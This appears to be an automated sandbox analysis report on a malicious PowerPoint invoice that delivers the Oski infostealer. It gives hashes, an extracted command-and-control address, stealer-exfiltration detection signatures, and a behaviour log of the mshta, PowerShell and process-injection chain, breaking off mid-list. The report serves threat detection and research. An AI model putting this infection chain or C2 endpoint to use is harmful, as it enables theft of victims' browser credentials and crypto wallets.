Resubmissions
13/08/2021, 09:28
210813-fnjyawq6ws 1013/08/2021, 09:23
210813-swdjcyat5e 1013/08/2021, 07:05
210813-4dy26bbdfe 1003/08/2021, 07:47
210803-jrlp4kfgt2 10Analysis
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max time kernel
242s -
max time network
210s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
03/08/2021, 07:47
Static task
static1
Behavioral task
behavioral1
Sample
InvoiceNo_8041766.ppt
Resource
win7v20210410
Behavioral task
behavioral2
Sample
InvoiceNo_8041766.ppt
Resource
win10v20210408
General
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Target
InvoiceNo_8041766.ppt
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Size
82KB
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MD5
c27b99ba1c1e0e88a8362fd5b9193499
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SHA1
4aa04165daad8a8827d39067b117c2a81399f87d
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SHA256
c9eef29af749ee4e022d0852bfec6b85a382cb50d0dfcab2eeed1a89499fde48
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SHA512
8c7c17959905a83b503d5a1892a9950399ae6d1f0b4859a4b2cfaf0c0bb176cebf64d9992b93d5b32d8aca95dff13821303ad5d234109f65de4ac03fdc80a892
Malware Config
Extracted
oski
103.99.1.60/we/2ky/
Signatures
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Oski
Oski is an infostealer targeting browser data, crypto wallets.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process 1444 1032 cmd.exe 22 -
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
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suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
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Blocklisted process makes network request 19 IoCs
flow pid Process 7 1624 mshta.exe 9 1624 mshta.exe 11 1624 mshta.exe 13 1624 mshta.exe 15 1624 mshta.exe 17 1624 mshta.exe 19 1624 mshta.exe 21 1624 mshta.exe 22 1624 mshta.exe 24 1624 mshta.exe 26 1624 mshta.exe 30 1624 mshta.exe 31 1624 mshta.exe 32 1624 mshta.exe 33 1624 mshta.exe 34 1624 mshta.exe 35 1624 mshta.exe 37 1864 powershell.exe 38 1864 powershell.exe -
Downloads MZ/PE file
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Loads dropped DLL 5 IoCs
pid Process 568 aspnet_compiler.exe 568 aspnet_compiler.exe 568 aspnet_compiler.exe 568 aspnet_compiler.exe 568 aspnet_compiler.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1864 set thread context of 568 1864 powershell.exe 41 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString aspnet_compiler.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1524 schtasks.exe -
Kills process with taskkill 1 IoCs
pid Process 828 taskkill.exe -
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" POWERPNT.EXE -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493465-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493450-5A91-11CF-8700-00AA0060263B}\ = "Collection" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493458-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A78-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E551-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493477-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C4-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493475-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493489-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493496-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A59-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E553-4FF5-48F4-8215-5505F990966F}\ = "ResampleMediaTask" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493457-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493464-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5C-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348A-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493491-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DB-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493442-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493474-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A59-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartColorFormat" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A73-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493469-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C5-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DA-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DD-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EC-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A58-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A70-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347B-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493467-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A66-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D7-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493453-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493499-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E553-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493460-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493466-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DA-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493457-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493464-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493491-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F7-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A66-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E550-4FF5-48F4-8215-5505F990966F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493451-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348B-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A57-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A78-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493468-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346E-5A91-11CF-8700-00AA0060263B}\ = "ColorSchemes" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D9-5A91-11CF-8700-00AA0060263B}\ = "DiagramNodeChildren" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A64-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "DisplayUnitLabel" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A77-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a" POWERPNT.EXE -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 mshta.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e210f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 mshta.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 mshta.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde mshta.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C mshta.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1032 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1864 powershell.exe 1864 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1864 powershell.exe Token: SeDebugPrivilege 828 taskkill.exe -
Suspicious use of WriteProcessMemory 38 IoCs
description pid Process procid_target PID 1032 wrote to memory of 2000 1032 POWERPNT.EXE 26 PID 1032 wrote to memory of 2000 1032 POWERPNT.EXE 26 PID 1032 wrote to memory of 2000 1032 POWERPNT.EXE 26 PID 1032 wrote to memory of 2000 1032 POWERPNT.EXE 26 PID 1032 wrote to memory of 1444 1032 POWERPNT.EXE 28 PID 1032 wrote to memory of 1444 1032 POWERPNT.EXE 28 PID 1032 wrote to memory of 1444 1032 POWERPNT.EXE 28 PID 1032 wrote to memory of 1444 1032 POWERPNT.EXE 28 PID 1444 wrote to memory of 1624 1444 cmd.exe 30 PID 1444 wrote to memory of 1624 1444 cmd.exe 30 PID 1444 wrote to memory of 1624 1444 cmd.exe 30 PID 1444 wrote to memory of 1624 1444 cmd.exe 30 PID 1624 wrote to memory of 1864 1624 mshta.exe 37 PID 1624 wrote to memory of 1864 1624 mshta.exe 37 PID 1624 wrote to memory of 1864 1624 mshta.exe 37 PID 1624 wrote to memory of 1864 1624 mshta.exe 37 PID 1624 wrote to memory of 1524 1624 mshta.exe 39 PID 1624 wrote to memory of 1524 1624 mshta.exe 39 PID 1624 wrote to memory of 1524 1624 mshta.exe 39 PID 1624 wrote to memory of 1524 1624 mshta.exe 39 PID 1864 wrote to memory of 568 1864 powershell.exe 41 PID 1864 wrote to memory of 568 1864 powershell.exe 41 PID 1864 wrote to memory of 568 1864 powershell.exe 41 PID 1864 wrote to memory of 568 1864 powershell.exe 41 PID 1864 wrote to memory of 568 1864 powershell.exe 41 PID 1864 wrote to memory of 568 1864 powershell.exe 41 PID 1864 wrote to memory of 